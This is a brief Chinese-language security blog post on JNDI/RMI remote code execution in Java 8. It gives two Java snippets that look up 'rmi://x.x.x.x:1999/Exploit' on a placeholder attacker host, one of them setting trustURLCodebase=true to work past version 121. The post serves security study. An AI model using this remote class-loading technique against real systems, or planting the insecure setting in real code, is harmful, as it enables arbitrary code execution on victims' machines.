rmi的调用 - 羊小弟
2019-5-9 19:56:0 Author: www.cnblogs.com(查看原文) 阅读量:2 收藏

在java8  121版本以前,只要这样就能任意代码

rmiTest.java

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class rmiTest {
    public static void main(String[] args) throws IOException, NamingException {
        InitialContext xxx = new InitialContext();
        xxx.lookup("rmi://x.x.x.x:1999/Exploit");
    }
}

在java8  121版本之后,需要加com.sun.jndi.rmi.object.trustURLCodebase=true

rmiTest2

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class rmiTest2 {
    public static void main(String[] args) throws IOException, NamingException {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        InitialContext xxx = new InitialContext();
        xxx.lookup("rmi://x.x.x.x:1999/Exploit");
    }
}

rmi在java8  121版本之前的调用满足:

一个类,一个方法,一个参数,就能实现java的任意代码执行。


文章来源: https://www.cnblogs.com/yangxiaodi/p/10840674.html
如有侵权请联系:admin#unsafe.sh